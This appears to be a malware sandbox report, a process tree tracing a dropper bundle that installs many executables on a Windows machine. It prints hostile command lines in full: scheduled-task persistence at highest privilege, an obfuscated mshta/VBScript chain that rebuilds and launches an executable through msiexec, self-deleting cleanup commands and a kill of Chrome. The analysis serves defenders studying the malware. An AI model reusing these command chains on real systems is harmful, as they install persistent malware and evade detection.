C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1a4,0x1a0,0xb4,0x1cc,0xa0,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee07⤵PID:7152
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff6ad3a9e70,0x7ff6ad3a9e80,0x7ff6ad3a9e908⤵PID:8384
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1652,1636346137692558758,14551534906032896720,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5012_991277851" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1660 /prefetch:27⤵PID:988
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,1636346137692558758,14551534906032896720,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5012_991277851" --mojo-platform-channel-handle=1864 /prefetch:87⤵PID:8236
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:8236
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:100
-
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:8304
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:11192
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:8832
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:10404
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks whether UAC is enabled
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4208
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:5260
-
-
C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe"2⤵
- Checks SCSI registry key(s)
PID:8384 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:9468 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Checks SCSI registry key(s)
PID:2136
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:6828 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4108
-
-
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵
- Checks SCSI registry key(s)
PID:9264
-
-
C:\Users\Admin\AppData\Roaming\vwcireuC:\Users\Admin\AppData\Roaming\vwcireu2⤵PID:5536
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:356
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17afe24e0084db3.exeMon17afe24e0084db3.exe1⤵
- Executes dropped EXE
PID:2580 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17afe24e0084db3.exe"C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17afe24e0084db3.exe" -u2⤵
- Executes dropped EXE
PID:364
-
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon1708beae021a5ff.exeMon1708beae021a5ff.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5012 -
C:\Windows\system32\mspaint.exeC:\Windows\system32\mspaint.exe2⤵PID:5624
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5012 -s 5042⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:6048
-
-
C:\Users\Admin\AppData\Local\Temp\is-765C6.tmp\Mon17bbf11fdb575d.tmp"C:\Users\Admin\AppData\Local\Temp\is-765C6.tmp\Mon17bbf11fdb575d.tmp" /SL5="$30204,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bbf11fdb575d.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3708 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bbf11fdb575d.exe"C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bbf11fdb575d.exe" /SILENT2⤵PID:4804
-
C:\Users\Admin\AppData\Local\Temp\is-OEFPG.tmp\Mon17bbf11fdb575d.tmp"C:\Users\Admin\AppData\Local\Temp\is-OEFPG.tmp\Mon17bbf11fdb575d.tmp" /SL5="$40204,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bbf11fdb575d.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3852 -
C:\Users\Admin\AppData\Local\Temp\is-3NLKH.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-3NLKH.tmp\postback.exe" ss14⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3712
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon1727c156c4abcec.exeMon1727c156c4abcec.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1496 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon1727c156c4abcec.exeC:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon1727c156c4abcec.exe2⤵
- Executes dropped EXE
PID:1288
-
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon174a6c5f1664f.exeMon174a6c5f1664f.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2964 -
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon174a6c5f1664f.exeC:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon174a6c5f1664f.exe2⤵
- Executes dropped EXE
PID:840
-
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon179f74c0ff3cf1f.exeMon179f74c0ff3cf1f.exe1⤵
- Executes dropped EXE
- Checks computer location settings
PID:4116 -
C:\Users\Admin\Pictures\Adobe Films\wABnEW3n7zEIT4vldLIvVjMv.exe"C:\Users\Admin\Pictures\Adobe Films\wABnEW3n7zEIT4vldLIvVjMv.exe"2⤵
- Executes dropped EXE
PID:6612
-
-
C:\Users\Admin\Pictures\Adobe Films\IdRxi4NXZM3wWqCmtrTrSQZA.exe"C:\Users\Admin\Pictures\Adobe Films\IdRxi4NXZM3wWqCmtrTrSQZA.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6796
-
-
C:\Users\Admin\Pictures\Adobe Films\R3G7dwnC5UWQSVCisTbZ3gdP.exe"C:\Users\Admin\Pictures\Adobe Films\R3G7dwnC5UWQSVCisTbZ3gdP.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6744
-
-
C:\Users\Admin\Pictures\Adobe Films\96EUARWEa4BFbq0Ckoh2XUza.exe"C:\Users\Admin\Pictures\Adobe Films\96EUARWEa4BFbq0Ckoh2XUza.exe"2⤵PID:6732
-
C:\Users\Admin\Pictures\Adobe Films\96EUARWEa4BFbq0Ckoh2XUza.exe"C:\Users\Admin\Pictures\Adobe Films\96EUARWEa4BFbq0Ckoh2XUza.exe"3⤵PID:3896
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0JMtzV6kUlubGK_DnQlLVKbX.exe"C:\Users\Admin\Pictures\Adobe Films\0JMtzV6kUlubGK_DnQlLVKbX.exe"2⤵PID:6696
-
-
C:\Users\Admin\Pictures\Adobe Films\4IfJXZwzYDn2VXHij3ctLJV2.exe"C:\Users\Admin\Pictures\Adobe Films\4IfJXZwzYDn2VXHij3ctLJV2.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:6536 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 4IfJXZwzYDn2VXHij3ctLJV2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\4IfJXZwzYDn2VXHij3ctLJV2.exe" & del C:\ProgramData\*.dll & exit3⤵PID:2244
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 4IfJXZwzYDn2VXHij3ctLJV2.exe /f4⤵
- Kills process with taskkill
PID:68
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:4872
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uCCG6A1Q9eorB13x5Uh_rF61.exe"C:\Users\Admin\Pictures\Adobe Films\uCCG6A1Q9eorB13x5Uh_rF61.exe"2⤵
- Executes dropped EXE
PID:6608 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:7092 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1780
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1004
-
-
C:\Users\Admin\Documents\Rhz_9tBW6JMG__y4RAyBu9QD.exe"C:\Users\Admin\Documents\Rhz_9tBW6JMG__y4RAyBu9QD.exe"3⤵
- Checks computer location settings
PID:2964 -
C:\Users\Admin\Pictures\Adobe Films\pfAg8F8VPu7IfYcNYd834iax.exe"C:\Users\Admin\Pictures\Adobe Films\pfAg8F8VPu7IfYcNYd834iax.exe"4⤵PID:6784
-
-
C:\Users\Admin\Pictures\Adobe Films\e3By4Ow3jW8t8NFiEpJAad1e.exe"C:\Users\Admin\Pictures\Adobe Films\e3By4Ow3jW8t8NFiEpJAad1e.exe"4⤵PID:5552
-
-
C:\Users\Admin\Pictures\Adobe Films\fP3IjqkqHEOesrhdRyzNdJJr.exe"C:\Users\Admin\Pictures\Adobe Films\fP3IjqkqHEOesrhdRyzNdJJr.exe"4⤵PID:6704
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:7832
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:7236
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HTtyKFdmJz3J4SkY0tPaGH2B.exe"C:\Users\Admin\Pictures\Adobe Films\HTtyKFdmJz3J4SkY0tPaGH2B.exe"4⤵
- Suspicious behavior: MapViewOfSection
PID:5416
-
-
C:\Users\Admin\Pictures\Adobe Films\EqT5LDve9aAE3qN61WAoAlB0.exe"C:\Users\Admin\Pictures\Adobe Films\EqT5LDve9aAE3qN61WAoAlB0.exe"4⤵PID:6548
-
-
C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"4⤵
- Checks whether UAC is enabled
PID:3880 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵
- Checks whether UAC is enabled
PID:7712 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\hEPbeAf5cdzCvC40FkJ2kgey.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:2436
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵PID:2928
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:8152
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:6368
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵
- Checks whether UAC is enabled
PID:2840 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:7444
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:2132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:2920
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵
- Loads dropped DLL
PID:4512
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "hEPbeAf5cdzCvC40FkJ2kgey.exe"7⤵
- Kills process with taskkill
PID:7656
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\N2XnjEQZk3notVmmRBXAgMj_.exe"C:\Users\Admin\Pictures\Adobe Films\N2XnjEQZk3notVmmRBXAgMj_.exe"4⤵PID:7416
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
- Adds Run key to start application
PID:3604 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"6⤵PID:8852
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c8,0x1cc,0x1d0,0x190,0x1d4,0x7ff87a8cdec0,0x7ff87a8cded0,0x7ff87a8cdee07⤵PID:3736
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6ad3a9e70,0x7ff6ad3a9e80,0x7ff6ad3a9e908⤵PID:5916
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1772,1723310839277623217,8304522968578975292,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8852_922687054" --mojo-platform-channel-handle=1784 /prefetch:87⤵PID:8796
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"4⤵PID:8080
-
C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe"C:\Users\Admin\Pictures\Adobe Films\RfrsVo1QXyIu4tRjM9YC3pg5.exe" -u5⤵PID:7684
-
-
-
C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"4⤵PID:1360
-
C:\Users\Admin\AppData\Local\Temp\is-UQN5D.tmp\no0l9mpWsCqV6aZKeWDYdC_0.tmp"C:\Users\Admin\AppData\Local\Temp\is-UQN5D.tmp\no0l9mpWsCqV6aZKeWDYdC_0.tmp" /SL5="$A03EA,506127,422400,C:\Users\Admin\Pictures\Adobe Films\no0l9mpWsCqV6aZKeWDYdC_0.exe"5⤵PID:8100
-
C:\Users\Admin\AppData\Local\Temp\is-G2C1V.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-G2C1V.tmp\DYbALA.exe" /S /UID=27096⤵
- Drops file in Drivers directory
- Adds Run key to start application
PID:8128 -
C:\Program Files\Windows Sidebar\ZPOCBYJYJB\foldershare.exe"C:\Program Files\Windows Sidebar\ZPOCBYJYJB\foldershare.exe" /VERYSILENT7⤵PID:6456
-
-
C:\Users\Admin\AppData\Local\Temp\ea-3ee94-30c-07a9a-8f085fdc782a8\Xokuxawegy.exe"C:\Users\Admin\AppData\Local\Temp\ea-3ee94-30c-07a9a-8f085fdc782a8\Xokuxawegy.exe"7⤵
- Checks computer location settings
PID:7128 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 13448⤵PID:4772
-
-
-
C:\Users\Admin\AppData\Local\Temp\53-a38be-5cb-fc9a6-2f8b106d2b04f\Lyhaepigitae.exe"C:\Users\Admin\AppData\Local\Temp\53-a38be-5cb-fc9a6-2f8b106d2b04f\Lyhaepigitae.exe"7⤵PID:2564
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n5rtzs3w.5ve\GcleanerEU.exe /eufive & exit8⤵
- Blocklisted process makes network request
PID:4540 -
C:\Users\Admin\AppData\Local\Temp\n5rtzs3w.5ve\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\n5rtzs3w.5ve\GcleanerEU.exe /eufive9⤵PID:8316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3b3e0zzx.iqw\vpn.exe /silent /subid=798 & exit8⤵PID:7368
-
C:\Users\Admin\AppData\Local\Temp\3b3e0zzx.iqw\vpn.exeC:\Users\Admin\AppData\Local\Temp\3b3e0zzx.iqw\vpn.exe /silent /subid=7989⤵PID:8440
-
C:\Users\Admin\AppData\Local\Temp\is-77NNM.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-77NNM.tmp\vpn.tmp" /SL5="$306F2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\3b3e0zzx.iqw\vpn.exe" /silent /subid=79810⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:8628 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "11⤵PID:8068
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090112⤵
- Checks SCSI registry key(s)
PID:7488
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "11⤵PID:5208
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090112⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
PID:8580
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall11⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6520
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install11⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6704
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5fygr0lm.55b\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:4524
-
C:\Users\Admin\AppData\Local\Temp\5fygr0lm.55b\installer.exeC:\Users\Admin\AppData\Local\Temp\5fygr0lm.55b\installer.exe /qn CAMPAIGN="654"9⤵PID:8568
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cuhqnzvx.nsa\any.exe & exit8⤵PID:1876
-
C:\Users\Admin\AppData\Local\Temp\cuhqnzvx.nsa\any.exeC:\Users\Admin\AppData\Local\Temp\cuhqnzvx.nsa\any.exe9⤵PID:8792
-
C:\Users\Admin\AppData\Local\Temp\cuhqnzvx.nsa\any.exe"C:\Users\Admin\AppData\Local\Temp\cuhqnzvx.nsa\any.exe" -u10⤵PID:1248
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o55fjdwk.0af\gcleaner.exe /mixfive & exit8⤵PID:7228
-
C:\Users\Admin\AppData\Local\Temp\o55fjdwk.0af\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\o55fjdwk.0af\gcleaner.exe /mixfive9⤵PID:8924
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\otef0chr.cem\autosubplayer.exe /S & exit8⤵
- Suspicious use of SetWindowsHookEx
PID:5508
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jyndm1kb.3qc\GcleanerEU.exe /eufive & exit8⤵PID:6168
-
C:\Users\Admin\AppData\Local\Temp\jyndm1kb.3qc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\jyndm1kb.3qc\GcleanerEU.exe /eufive9⤵PID:7268
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 65210⤵
- Program crash
PID:2840
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 67210⤵
- Program crash
PID:1444
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 70810⤵
- Program crash
PID:8996
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 80810⤵
- Program crash
PID:2104
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 88410⤵
- Program crash
PID:5980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 95610⤵
- Program crash
PID:5308
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 110410⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:6980
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0d45ufgb.sty\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:1896
-
C:\Users\Admin\AppData\Local\Temp\0d45ufgb.sty\installer.exeC:\Users\Admin\AppData\Local\Temp\0d45ufgb.sty\installer.exe /qn CAMPAIGN="654"9⤵PID:7644
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\0d45ufgb.sty\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\0d45ufgb.sty\ EXE_CMD_LINE="/forcecleanup /wintime 1635580346 /qn CAMPAIGN=""654"" " CAMPAIGN="654"10⤵PID:5468
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c2k12bqz.gcc\any.exe & exit8⤵PID:7008
-
C:\Users\Admin\AppData\Local\Temp\c2k12bqz.gcc\any.exeC:\Users\Admin\AppData\Local\Temp\c2k12bqz.gcc\any.exe9⤵PID:3244
-
